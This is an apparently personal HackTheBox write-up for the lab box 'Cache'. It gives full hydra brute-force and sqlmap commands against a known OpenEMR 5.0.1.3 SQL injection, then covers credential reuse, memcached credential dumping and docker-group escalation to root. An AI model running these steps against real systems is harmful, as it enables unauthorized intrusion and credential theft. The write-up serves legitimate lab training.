Pentest

Cache

HackTheBox

11 October 2020

Difficulty:

Intro :flashlight:

Cache is a nice practice on enumerating and chaining multiple exploits together, it’s one of those boxes where getting a foothold is the toughest part so you really have enumerate properly. User is quite common, it’s a bad habit of password recycling, for exploiting root, I learned how to talk to a service called memcached, which feels like you’re talking to a web API but in a much simpler way, and then you basically enumerate the data this service has, and then you’ll get another user’s password which then you can use to gtfo.

Initial Foothold :mag:

Put the IP 10.10.10.188 in /etc/hosts, start our masscan on the box.

masscan --rate=200 -e tun0 -p1-65535,U:1-65535 10.10.10.188 | tee masscan.out
Discovered open port 22/tcp on 10.10.10.188
Discovered open port 80/tcp on 10.10.10.188

Just 2, nmap those.

nmap -A -oA nmap -p22,80 10.10.10.188
...
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Full nmap output
# Nmap 7.80 scan initiated Wed Sep 30 12:25:57 2020 as: nmap -A -oA nmap -p22,80 10.10.10.188
Nmap scan report for cache.htb (10.10.10.188)
Host is up (0.052s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   58.65 ms 10.10.14.1
2   53.91 ms cache.htb (10.10.10.188)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 30 12:26:14 2020 -- 1 IP address (1 host up) scanned in 17.86 seconds

Enumeration

Start roaming around the website, we find a possible username ash in the author page.

Then we found a login page but this login page doesn’t send any requests, it just alerts you that you got the wrong password and username, here I tried admin:admin.

So I checked the source, and there seems to be a custom javascript file used.

Take a look at what’s in here.

Seems to be some creds, ash:H@v3_fun let’s try that out on the login page.

It’s just an image, I threw that image to aperisolve but got nothing. I also tried to stuff the credentials to ssh but it didn’t work.

I spent quite a while here, I keep going around trying to fuzz for subdirs, bruteforcing ssh with cewl of the webpage and rockyou, and googling about this “HMS (Hospital Management System” thing we saw in the author page as that is the only hint I caught on to so far. Kept going at it, fuzzing with different wordlists, trying to find the directory structure of HMS, and trying to bruteforce those directories, also a bit of subdomain bruteforcing, nothing. So I left the box for a bit, as I was still lost even after going to the forum and asked for some help, luckily one of my friends did answer me and told me about enumerating vhosts (virtual hosts).

So I googled about what are vhosts, essentially it’s how you can stuff multiple domain names in 1 single IP, so the current box IP is 10.10.10.188 and right now is hosting the cache.htb webapp, with vhosts though, there can be multiple webapps in this same IP. Then I googled on how to bruteforce those vhosts and found that ffuf can do that.

So I tried some commands.

ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/big.txt -u http://cache.htb -H "Host: FUZZ"
# got all 200 OK but they all point to cache.htb
ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/big.txt -u http://cache.htb -H "Host: FUZZ" -fs 8193
# got nothing instead
ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/big.txt -u http://cache.htb -H "Host: FUZZ.htb" -fs 8193
# found

So then i added “10.10.10.188 HMS.htb” to my /etc/hosts file and accessed HMS.htb.

We got redirected immediately to this login page. Tried ash:H@v3_fun but didn’t work, so I googled “openemr exploit” and found this, but this exploit is an authenticated RCE, so we need some creds first. Time to start fuzzing again.

ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/big.txt -u http://hms.htb/FUZZ | tee ffuf.out

Got quite a bit of directories available

Full ffuf output
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.0.2
________________________________________________

 :: Method           : GET
 :: URL              : http://hms.htb/FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

LICENSE                 [Status: 200, Size: 35147, Words: 5836, Lines: 675]
.htaccess               [Status: 403, Size: 272, Words: 20, Lines: 10]
.htpasswd               [Status: 403, Size: 272, Words: 20, Lines: 10]
ci                      [Status: 301, Size: 299, Words: 20, Lines: 10]
cloud                   [Status: 301, Size: 302, Words: 20, Lines: 10]
common                  [Status: 301, Size: 303, Words: 20, Lines: 10]
config                  [Status: 301, Size: 303, Words: 20, Lines: 10]
contrib                 [Status: 301, Size: 304, Words: 20, Lines: 10]
controllers             [Status: 301, Size: 308, Words: 20, Lines: 10]
custom                  [Status: 301, Size: 303, Words: 20, Lines: 10]
entities                [Status: 301, Size: 305, Words: 20, Lines: 10]
images                  [Status: 301, Size: 303, Words: 20, Lines: 10]
interface               [Status: 301, Size: 306, Words: 20, Lines: 10]
javascript              [Status: 301, Size: 307, Words: 20, Lines: 10]
library                 [Status: 301, Size: 304, Words: 20, Lines: 10]
modules                 [Status: 301, Size: 304, Words: 20, Lines: 10]
myportal                [Status: 301, Size: 305, Words: 20, Lines: 10]
patients                [Status: 301, Size: 305, Words: 20, Lines: 10]
portal                  [Status: 301, Size: 303, Words: 20, Lines: 10]
public                  [Status: 301, Size: 303, Words: 20, Lines: 10]
repositories            [Status: 301, Size: 309, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 272, Words: 20, Lines: 10]
services                [Status: 301, Size: 305, Words: 20, Lines: 10]
sites                   [Status: 301, Size: 302, Words: 20, Lines: 10]
sql                     [Status: 301, Size: 300, Words: 20, Lines: 10]
templates               [Status: 301, Size: 306, Words: 20, Lines: 10]
tests                   [Status: 301, Size: 302, Words: 20, Lines: 10]
vendor                  [Status: 301, Size: 303, Words: 20, Lines: 10]
:: Progress: [20473/20473] :: Job [1/1] :: 818 req/sec :: Duration: [0:00:25] :: Errors: 0 ::

So I start to poke at them 1 by 1. While I’m doing that I’ll try to bruteforce that login portal a bit with the username ash.

hydra -V -l ash -P /usr/share/wordlists/rockyou.txt hms.htb http-post-form "/interface/main/main_screen.php?auth=login&site=default:new_login_session_management=1&authProvider=Default&authUser=^USER^&clearPass=^PASS^&languageChoice=1:login_screen"

I spent quite a while again here, enumerating each of the directories, googling about sensitive files of openemr, cloning the openemr github repo and searching for passwords, but got nothing. Until I googled “openemr login exploit” and found this super detailed pdf titled “OpenEMR v5.0.1.3 - Vulnerability Report”.

Bit more googling, it seems that we can get the openemr version number from admin.php if the current version is 5.0.1.3 or lower, so let’s try that.

So now we know for sure that it’s running openemr 5.0.1.3, let’s just keep reading that pdf report. We see that we can access a bunch of stuff without authorization, and there’s even a walkthrough on how to exploit it, we also find a very interesting point.

Basically, we don’t really need to register, we just need to access the register page and then we can access all the stuff that needs authentication, nice. There’s even a proof of concept too.

Seems like a straight up error based and not even blind based, maybe we are a sysadmin? If yes then we can execute commands directly.

Sadly, no. Oh well, time to whip out sqlmap. Let’s look at the databases.

sqlmap -u 'http://hms.htb/portal/find_appt_popup_user.php?providerid=&catid=' \
--cookie='Cookie: OpenEMR=2lge8o0u7q60a1tseqq0ii0rst; PHPSESSID=401gl8cf4b5j8krem6626li40t' \
--data="bypatient=&startdate=2020-09-30&searchdays=7" \
--output-dir=./sqlmap \
--dbs

Now we know for sure that it is an error based sqli.

We got the database name “openemr”, let’s see what tables are in it.

sqlmap -u 'http://hms.htb/portal/find_appt_popup_user.php?providerid=&catid=' \
--cookie='Cookie: OpenEMR=2lge8o0u7q60a1tseqq0ii0rst; PHPSESSID=4ft6m3sbt71c1u4bqdcfg9lj4q' \
--data="bypatient=&startdate=2020-09-30&searchdays=7" \
--output-dir=./sqlmap \
--dbms=mysql -D openemr --tables

We got 234 tables.

Full sqlmap output
back-end DBMS: MySQL >= 5.0.0
Database: openemr
[234 tables]
+---------------------------------------+
| array                                 |
| groups                                |
| log                                   |
| version                               |
| addresses                             |
| amc_misc_data                         |
| amendments                            |
| amendments_history                    |
| ar_activity                           |
| ar_session                            |
| audit_details                         |
| audit_master                          |
| automatic_notification                |
| background_services                   |
| batchcom                              |
| billing                               |
| calendar_external                     |
| categories                            |
| categories_seq                        |
| categories_to_documents               |
| ccda                                  |
| ccda_components                       |
| ccda_field_mapping                    |
| ccda_sections                         |
| ccda_table_mapping                    |
| chart_tracker                         |
| claims                                |
| clinical_plans                        |
| clinical_plans_rules                  |
| clinical_rules                        |
| clinical_rules_log                    |
| code_types                            |
| codes                                 |
| codes_history                         |
| config                                |
| config_seq                            |
| customlists                           |
| dated_reminders                       |
| dated_reminders_link                  |
| direct_message_log                    |
| documents                             |
| documents_legal_categories            |
| documents_legal_detail                |
| documents_legal_master                |
| drug_inventory                        |
| drug_sales                            |
| drug_templates                        |
| drugs                                 |
| eligibility_response                  |
| eligibility_verification              |
| employer_data                         |
| enc_category_map                      |
| erx_drug_paid                         |
| erx_narcotics                         |
| erx_rx_log                            |
| erx_ttl_touch                         |
| esign_signatures                      |
| extended_log                          |
| external_encounters                   |
| external_procedures                   |
| facility                              |
| facility_user_ids                     |
| fee_sheet_options                     |
| form_care_plan                        |
| form_clinical_instructions            |
| form_dictation                        |
| form_encounter                        |
| form_eye_mag                          |
| form_eye_mag_dispense                 |
| form_eye_mag_impplan                  |
| form_eye_mag_orders                   |
| form_eye_mag_prefs                    |
| form_eye_mag_wearing                  |
| form_functional_cognitive_status      |
| form_group_attendance                 |
| form_groups_encounter                 |
| form_misc_billing_options             |
| form_observation                      |
| form_reviewofs                        |
| form_ros                              |
| form_soap                             |
| form_taskman                          |
| form_vitals                           |
| forms                                 |
| gacl_acl                              |
| gacl_acl_sections                     |
| gacl_acl_seq                          |
| gacl_aco                              |
| gacl_aco_map                          |
| gacl_aco_sections                     |
| gacl_aco_sections_seq                 |
| gacl_aco_seq                          |
| gacl_aro                              |
| gacl_aro_groups                       |
| gacl_aro_groups_id_seq                |
| gacl_aro_groups_map                   |
| gacl_aro_map                          |
| gacl_aro_sections                     |
| gacl_aro_sections_seq                 |
| gacl_aro_seq                          |
| gacl_axo                              |
| gacl_axo_groups                       |
| gacl_axo_groups_map                   |
| gacl_axo_map                          |
| gacl_axo_sections                     |
| gacl_groups_aro_map                   |
| gacl_groups_axo_map                   |
| gacl_phpgacl                          |
| geo_country_reference                 |
| geo_zone_reference                    |
| globals                               |
| gprelations                           |
| history_data                          |
| icd10_dx_order_code                   |
| icd10_gem_dx_10_9                     |
| icd10_gem_dx_9_10                     |
| icd10_gem_pcs_10_9                    |
| icd10_gem_pcs_9_10                    |
| icd10_pcs_order_code                  |
| icd10_reimbr_dx_9_10                  |
| icd10_reimbr_pcs_9_10                 |
| icd9_dx_code                          |
| icd9_dx_long_code                     |
| icd9_sg_code                          |
| icd9_sg_long_code                     |
| immunization_observation              |
| immunizations                         |
| insurance_companies                   |
| insurance_data                        |
| insurance_numbers                     |
| issue_encounter                       |
| issue_types                           |
| lang_constants                        |
| lang_custom                           |
| lang_definitions                      |
| lang_languages                        |
| layout_group_properties               |
| layout_options                        |
| lbf_data                              |
| lbt_data                              |
| list_options                          |
| lists                                 |
| lists_touch                           |
| log_comment_encrypt                   |
| log_validator                         |
| medex_icons                           |
| medex_outgoing                        |
| medex_prefs                           |
| medex_recalls                         |
| misc_address_book                     |
| module_acl_group_settings             |
| module_acl_sections                   |
| module_acl_user_settings              |
| module_configuration                  |
| modules                               |
| modules_hooks_settings                |
| modules_settings                      |
| multiple_db                           |
| notes                                 |
| notification_log                      |
| notification_settings                 |
| onotes                                |
| onsite_documents                      |
| onsite_mail                           |
| onsite_messages                       |
| onsite_online                         |
| onsite_portal_activity                |
| onsite_signatures                     |
| openemr_module_vars                   |
| openemr_modules                       |
| openemr_postcalendar_categories       |
| openemr_postcalendar_events           |
| openemr_postcalendar_limits           |
| openemr_postcalendar_topics           |
| openemr_session_info                  |
| patient_access_offsite                |
| patient_access_onsite                 |
| patient_birthday_alert                |
| patient_data                          |
| patient_portal_menu                   |
| patient_reminders                     |
| patient_tracker                       |
| patient_tracker_element               |
| payment_gateway_details               |
| payments                              |
| pharmacies                            |
| phone_numbers                         |
| pma_bookmark                          |
| pma_column_info                       |
| pma_history                           |
| pma_pdf_pages                         |
| pma_relation                          |
| pma_table_coords                      |
| pma_table_info                        |
| pnotes                                |
| prescriptions                         |
| prices                                |
| procedure_answers                     |
| procedure_order                       |
| procedure_order_code                  |
| procedure_providers                   |
| procedure_questions                   |
| procedure_report                      |
| procedure_result                      |
| procedure_type                        |
| product_registration                  |
| product_warehouse                     |
| registry                              |
| report_itemized                       |
| report_results                        |
| rule_action                           |
| rule_action_item                      |
| rule_filter                           |
| rule_patient_data                     |
| rule_reminder                         |
| rule_target                           |
| sequences                             |
| shared_attributes                     |
| standardized_tables_track             |
| supported_external_dataloads          |
| syndromic_surveillance                |
| template_users                        |
| therapy_groups                        |
| therapy_groups_counselors             |
| therapy_groups_participant_attendance |
| therapy_groups_participants           |
| transactions                          |
| user_settings                         |
| users                                 |
| users_facility                        |
| users_secure                          |
| valueset                              |
| voids                                 |
| x12_partners                          |
+---------------------------------------+

It is error based though, so I’ll just dump the entire database while I google. Until eventually i googled “steal credentials openemr database” and got this. So now we know we just want the users_secure table. So kill the previous database dump and this time we’ll just dump 1 table.

sqlmap -u 'http://hms.htb/portal/find_appt_popup_user.php?providerid=&catid=' \
--cookie='Cookie: OpenEMR=qv8mcc7cj5egp7i8ucqm7sfthi; PHPSESSID=9l5vfiur1rvcaaa6555ufm9qdr' \
--output-dir=./sqlmap \
--dbms=mysql -D openemr -T users_secure --dump

We got a username openemr_admin, and a password hash. So let’s crack it with hashcat, while I take a break. Couple minutes later, it’s still not cracked, ok then maybe it needs a bit more time, I then killed the hydra and restarted it with the new username we got.

hydra -V -l openemr_admin -P /usr/share/wordlists/rockyou.txt hms.htb http-post-form "/interface/main/main_screen.php?auth=login&site=default:new_login_session_management=1&authProvider=Default&authUser=^USER^&clearPass=^PASS^&languageChoice=1:login_screen"

Wait some more…

Well, I thought we’d get the hash cracked, but instead our bruteforce payed off. Now that we finally have the creds, we can try that authenticated RCE (this one), change the IP and ports, put in our credentials, then run it.

Looks good, and …

We got a low priv shell, alright.

User Own :heavy_dollar_sign:

As usual, I tried to roam around /var/www, but nothing much, go to /home and interestingly, the home folder of ash is world readable.

But the user.txt can only be read by the user ash, so let’s try to become the user “ash” with su, we do have some creds to guess out the password.

Using the creds from the cache webapp ash:H@v3_fun, we got user.

Root Own :zap:

There’s another user in /home, it’s “luffy”.

I tried to check /etc/group.

Looks like we can privesc with luffy to root using docker, now we just need to become “luffy” somehow. I tried to do some stuff like finding luffy’s files, etc. but nothing interesting, so I just ran linpeas.

We got some internal ports open, 3306 is the database, I tried that and only found the database we already dumped, so we’re left with port 11211. Google that up, it looks to be a service called “memcached” which sounds like the box name.

Checking the service and it is indeed memcached. Basically it’s a caching system where you can store “key=value” pairs in the memory for fast retrieval, so maybe there’re some sensitive data lying around in there? Googled “memcached privilege escalation” and got this, following along the article we try to enumerate what data is in this memcached service.

Memcached stores data in groups, but the groups are called “slabs”, and we found that there are some keys in a slab with the slab ID of 1. So let’s retrieve the values of these keys. After geting those key names, these are the interesting ones with their values retrieved.

It looks like for some reason luffy decided to store his plaintext password in memcached, and we get this wierd string under the name “account”, other than that, got new creds! Time to stuff them.

Very well, it was luffy’s password and he is indeed in the docker group. Look around the docker service a bit, we find an existing ubuntu image, so we’ll use that and the docker gtfobin.

We got root! not 100% yet tho because this is root in the container, but we mounted the entire filesystem into the container too so we can basically do anything to the host os, for example adding our user to the sudoers group, etc. and get a real shell.

Like this! Now we got the actual root! :checkered_flag::checkered_flag:

Takeaway :books: